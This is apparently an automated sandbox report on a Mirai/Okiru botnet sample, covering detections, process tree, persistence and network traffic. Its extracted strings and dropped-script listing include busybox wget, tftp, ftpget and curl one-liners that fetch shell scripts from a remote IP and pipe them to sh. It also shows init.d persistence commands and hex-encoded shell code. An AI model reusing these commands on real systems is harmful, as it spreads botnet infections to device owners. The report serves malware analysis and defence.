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Linux Analysis Report
m68k.nn.elf

Overview

General Information

Sample name:	m68k.nn.elf
Analysis ID:	1561686
MD5:	121b75151974de520fd8169c5035e9dc
SHA1:	d84f78664394bba19fb1c7bff7bee06edd2c7de8
SHA256:	e4483ccfcae1edd9f9b0ffb401f3ab5be6fa0cb0dcd17831ded285966604e6eb
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai, Okiru

Score:	80
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Yara detected Mirai

Yara detected Okiru

Drops files in suspicious directories

Sample tries to persist itself using /etc/profile

Sample tries to persist itself using System V runlevels

Sample tries to set files in /etc globally writable

Detected TCP or UDP traffic on non-standard ports

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "mkdir" command used to create folders

Executes the "systemctl" command used for controlling the systemd system and service manager

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Sample tries to set the executable flag

Uses the "uname" system call to query kernel version information (possible evasion)

Writes shell script file to disk with an unusual file extension

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561686
Start date and time:	2024-11-24 05:02:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	m68k.nn.elf
Detection:	MAL
Classification:	mal80.spre.troj.evad.linELF@0/10@2/0

Warnings

VT rate limit hit for: /etc/init.d/system

Runtime Messages

Command:	/tmp/m68k.nn.elf
PID:	5426
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

m68k.nn.elf (PID: 5426, Parent: 5350, MD5: cd177594338c77b895ae27c33f8f86cc) Arguments: /tmp/m68k.nn.elf

m68k.nn.elf New Fork (PID: 5442, Parent: 5426)

m68k.nn.elf New Fork (PID: 5463, Parent: 5426)

sh (PID: 5463, Parent: 5426, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl enable custom.service >/dev/null 2>&1"

sh New Fork (PID: 5472, Parent: 5463)

systemctl (PID: 5472, Parent: 5463, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl enable custom.service

m68k.nn.elf New Fork (PID: 5495, Parent: 5426)

sh (PID: 5495, Parent: 5426, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"

sh New Fork (PID: 5501, Parent: 5495)

chmod (PID: 5501, Parent: 5495, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x /etc/init.d/system

m68k.nn.elf New Fork (PID: 5502, Parent: 5426)

sh (PID: 5502, Parent: 5426, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"

sh New Fork (PID: 5506, Parent: 5502)

ln (PID: 5506, Parent: 5502, MD5: e933cf05571f62c0157d4e2dfcaea282) Arguments: ln -s /etc/init.d/system /etc/rcS.d/S99system

m68k.nn.elf New Fork (PID: 5507, Parent: 5426)

sh (PID: 5507, Parent: 5426, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "echo \"#!/bin/sh\n# /etc/init.d/m68k.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting m68k.nn.elf'\n /tmp/m68k.nn.elf &\n wget http://193.143.1.70/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping m68k.nn.elf'\n killall m68k.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/m68k.nn.elf"

m68k.nn.elf New Fork (PID: 5509, Parent: 5426)

sh (PID: 5509, Parent: 5426, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chmod +x /etc/init.d/m68k.nn.elf >/dev/null 2>&1"

sh New Fork (PID: 5531, Parent: 5509)

chmod (PID: 5531, Parent: 5509, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x /etc/init.d/m68k.nn.elf

m68k.nn.elf New Fork (PID: 5532, Parent: 5426)

sh (PID: 5532, Parent: 5426, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"

sh New Fork (PID: 5537, Parent: 5532)

mkdir (PID: 5537, Parent: 5532, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir -p /etc/rc.d

m68k.nn.elf New Fork (PID: 5538, Parent: 5426)

sh (PID: 5538, Parent: 5426, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "ln -s /etc/init.d/m68k.nn.elf /etc/rc.d/S99m68k.nn.elf >/dev/null 2>&1"

sh New Fork (PID: 5543, Parent: 5538)

ln (PID: 5543, Parent: 5538, MD5: e933cf05571f62c0157d4e2dfcaea282) Arguments: ln -s /etc/init.d/m68k.nn.elf /etc/rc.d/S99m68k.nn.elf

m68k.nn.elf New Fork (PID: 5544, Parent: 5426)

udisksd New Fork (PID: 5436, Parent: 802)

dumpe2fs (PID: 5436, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

udisksd New Fork (PID: 5474, Parent: 802)

dumpe2fs (PID: 5474, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

gnome-session-binary New Fork (PID: 5475, Parent: 1588)

sh (PID: 5475, Parent: 1588, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-housekeeping

gsd-housekeeping (PID: 5475, Parent: 1588, MD5: b55f3394a84976ddb92a2915e5d76914) Arguments: /usr/libexec/gsd-housekeeping

systemd New Fork (PID: 5480, Parent: 5478)

snapd-env-generator (PID: 5480, Parent: 5478, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

gdm3 New Fork (PID: 5510, Parent: 1400)

Default (PID: 5510, Parent: 1400, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

gdm3 New Fork (PID: 5530, Parent: 1400)

Default (PID: 5530, Parent: 1400, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

udisksd New Fork (PID: 5552, Parent: 802)

dumpe2fs (PID: 5552, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

udisksd New Fork (PID: 5607, Parent: 802)

dumpe2fs (PID: 5607, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

udisksd New Fork (PID: 5608, Parent: 802)

dumpe2fs (PID: 5608, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

systemd New Fork (PID: 5634, Parent: 1)

systemd-user-runtime-dir (PID: 5634, Parent: 1, MD5: d55f4b0847f88131dbcfb07435178e54) Arguments: /lib/systemd/systemd-user-runtime-dir stop 127

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
m68k.nn.elf	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
m68k.nn.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author
5426.1.00007f1114001000.00007f111401e000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
5426.1.00007f1114001000.00007f111401e000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5442.1.00007f1114001000.00007f111401e000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
5442.1.00007f1114001000.00007f111401e000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: m68k.nn.elf PID: 5426	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Process Memory Space: m68k.nn.elf PID: 5442	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Click to see the 1 entries

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: m68k.nn.elf

ReversingLabs: Detection: 34%

Source: m68k.nn.elf	String: (deleted)/proc/self/exe/proc/%s/exe/proc/opendirsize=10Mtmpfs/tmp/tt/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /tmp/.socket/proc/%d/mountinfo/usr/lib/systemd//usr/sbin//usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd*deamon/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/sys/media/srv/sbin/httpdtelnetddropbearencoder/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdhome/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimgdbpkillkillallapt/bin/login193.143.1.70malloc[start_pid_hopping] Failed to clone: %s
Source: m68k.nn.elf	String: incorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> >sh .k/bin/busybox wget http://193.143.1.70/lol.sh -O- \| sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- \| sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- \| shGET /dlr. HTTP/1.0

Source: global traffic

TCP traffic: 192.168.2.13:40286 -> 154.216.19.139:199

Source: /tmp/m68k.nn.elf (PID: 5426)

Socket: 0.0.0.0:38242

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: m68k.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, m68k.nn.elf.36.dr, bootcmd.12.dr, custom.service.12.dr	String found in binary or memory: http://193.143.1.70/
Source: m68k.nn.elf	String found in binary or memory: http://193.143.1.70/curl.sh
Source: m68k.nn.elf	String found in binary or memory: http://193.143.1.70/lol.sh
Source: m68k.nn.elf	String found in binary or memory: http://193.143.1.70/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/sbi

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: (deleted)/proc/self/exe/proc/%s/exe/proc/opendirsize=10Mtmpfs/tmp/tt/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /tmp/.socket/proc/%d/mountinfo/usr/lib/systemd//usr/sbin//usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd*deamon/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/sys/media/srv/sbin/httpdtelnetddropbearencoder/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdhome/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesn
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://193.143.1.70/lol.sh -O- \| sh;
Source: Initial sample	String containing 'busybox' found: /bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- \| sh;
Source: Initial sample	String containing 'busybox' found: /bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> >sh .k/bin/busybox wget http://193.143.1.70/lol.sh -O- \| sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- \| sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/m68k.nn.elf (PID: 5442)	SIGKILL sent: pid: 792, result: successful	Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5442)	SIGKILL sent: pid: 884, result: successful	Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5442)	SIGKILL sent: pid: 1944, result: successful	Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5442)	SIGKILL sent: pid: 3181, result: successful	Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5442)	SIGKILL sent: pid: 3185, result: successful	Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5442)	SIGKILL sent: pid: 5475, result: successful	Jump to behavior

Source: classification engine

Classification label: mal80.spre.troj.evad.linELF@0/10@2/0

Persistence and Installation Behavior

Sample tries to persist itself using /etc/profile

Source: /tmp/m68k.nn.elf (PID: 5426)

File: /etc/profile

Jump to behavior

Sample tries to persist itself using System V runlevels

Source: /tmp/m68k.nn.elf (PID: 5426)	File: /etc/rc.local	Jump to behavior
Source: /usr/bin/ln (PID: 5506)	File: /etc/rcS.d/S99system -> /etc/init.d/system	Jump to behavior
Source: /usr/bin/ln (PID: 5543)	File: /etc/rc.d/S99m68k.nn.elf -> /etc/init.d/m68k.nn.elf	Jump to behavior

Sample tries to set files in /etc globally writable

Source: /tmp/m68k.nn.elf (PID: 5426)	File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5501)	File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5531)	File: /etc/init.d/m68k.nn.elf (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Source: /tmp/m68k.nn.elf (PID: 5463)	Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1"	Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5495)	Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"	Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5502)	Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"	Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5507)	Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/m68k.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting m68k.nn.elf'\n /tmp/m68k.nn.elf &\n wget http://193.143.1.70/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping m68k.nn.elf'\n killall m68k.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start\|stop\|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/m68k.nn.elf"	Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5509)	Shell command executed: sh -c "chmod +x /etc/init.d/m68k.nn.elf >/dev/null 2>&1"	Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5532)	Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"	Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5538)	Shell command executed: sh -c "ln -s /etc/init.d/m68k.nn.elf /etc/rc.d/S99m68k.nn.elf >/dev/null 2>&1"	Jump to behavior

Source: /bin/sh (PID: 5501)	Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system			Jump to behavior
Source: /bin/sh (PID: 5531)	Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/m68k.nn.elf			Jump to behavior

Source: /bin/sh (PID: 5537)

Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d

Jump to behavior

Source: /bin/sh (PID: 5472)

Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service

Jump to behavior

Source: /tmp/m68k.nn.elf (PID: 5426)	File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5501)	File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5531)	File: /etc/init.d/m68k.nn.elf (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Source: /tmp/m68k.nn.elf (PID: 5426)	Writes shell script file to disk with an unusual file extension: /etc/init.d/system	Jump to dropped file
Source: /tmp/m68k.nn.elf (PID: 5426)	Writes shell script file to disk with an unusual file extension: /etc/rc.local	Jump to dropped file
Source: /bin/sh (PID: 5507)	Writes shell script file to disk with an unusual file extension: /etc/init.d/m68k.nn.elf	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Drops files in suspicious directories

Source: /tmp/m68k.nn.elf (PID: 5426)	File: /etc/init.d/system			Jump to dropped file
Source: /bin/sh (PID: 5507)	File: /etc/init.d/m68k.nn.elf			Jump to dropped file

Source: /tmp/m68k.nn.elf (PID: 5426)

Queries kernel information via 'uname':

Jump to behavior

Source: m68k.nn.elf, 5426.1.00007fff4dded000.00007fff4de0e000.rw-.sdmp	Binary or memory string: /tmp/qemu-open.NgO5at
Source: m68k.nn.elf, 5442.1.0000556f8ddcc000.0000556f8de51000.rw-.sdmp	Binary or memory string: oU5!/usr/bin/vmtoolsd
Source: m68k.nn.elf, 5426.1.00007fff4dded000.00007fff4de0e000.rw-.sdmp, m68k.nn.elf, 5442.1.00007fff4dded000.00007fff4de0e000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-m68k/tmp/m68k.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/m68k.nn.elf
Source: m68k.nn.elf, 5426.1.0000556f8ddcc000.0000556f8de51000.rw-.sdmp, m68k.nn.elf, 5442.1.0000556f8ddcc000.0000556f8de51000.rw-.sdmp	Binary or memory string: oU!/etc/qemu-binfmt/m68k
Source: m68k.nn.elf, 5426.1.00007fff4dded000.00007fff4de0e000.rw-.sdmp, m68k.nn.elf, 5442.1.00007fff4dded000.00007fff4de0e000.rw-.sdmp	Binary or memory string: /qemu-open.XXXXX
Source: m68k.nn.elf, 5442.1.00007f1114020000.00007f1114024000.rw-.sdmp	Binary or memory string: /usr/bin/vmtoolsd
Source: m68k.nn.elf, 5426.1.00007fff4dded000.00007fff4de0e000.rw-.sdmp, m68k.nn.elf, 5442.1.00007fff4dded000.00007fff4de0e000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-m68k
Source: m68k.nn.elf, 5426.1.0000556f8ddcc000.0000556f8de51000.rw-.sdmp, m68k.nn.elf, 5442.1.0000556f8ddcc000.0000556f8de51000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/m68k
Source: m68k.nn.elf, 5426.1.00007fff4dded000.00007fff4de0e000.rw-.sdmp, m68k.nn.elf, 5442.1.00007fff4dded000.00007fff4de0e000.rw-.sdmp	Binary or memory string: Q/qemu-open.XXXXX
Source: m68k.nn.elf, 5426.1.00007fff4dded000.00007fff4de0e000.rw-.sdmp	Binary or memory string: oU/tmp/qemu-open.NgO5at-=
Source: m68k.nn.elf, 5426.1.00007fff4dded000.00007fff4de0e000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: m68k.nn.elf, type: SAMPLE
Source: Yara match	File source: 5426.1.00007f1114001000.00007f111401e000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5442.1.00007f1114001000.00007f111401e000.r-x.sdmp, type: MEMORY

Yara detected Okiru

Source: Yara match	File source: m68k.nn.elf, type: SAMPLE
Source: Yara match	File source: 5426.1.00007f1114001000.00007f111401e000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5442.1.00007f1114001000.00007f111401e000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: m68k.nn.elf PID: 5426, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: m68k.nn.elf PID: 5442, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: m68k.nn.elf, type: SAMPLE
Source: Yara match	File source: 5426.1.00007f1114001000.00007f111401e000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5442.1.00007f1114001000.00007f111401e000.r-x.sdmp, type: MEMORY

Yara detected Okiru

Source: Yara match	File source: m68k.nn.elf, type: SAMPLE
Source: Yara match	File source: 5426.1.00007f1114001000.00007f111401e000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5442.1.00007f1114001000.00007f111401e000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: m68k.nn.elf PID: 5426, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: m68k.nn.elf PID: 5442, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	Windows Management Instrumentation	1 Unix Shell Configuration Modification	1 Unix Shell Configuration Modification	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	1 Data Manipulation
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Systemd Service	1 Systemd Service	2 File and Directory Permissions Modification	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	2 Scripting	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
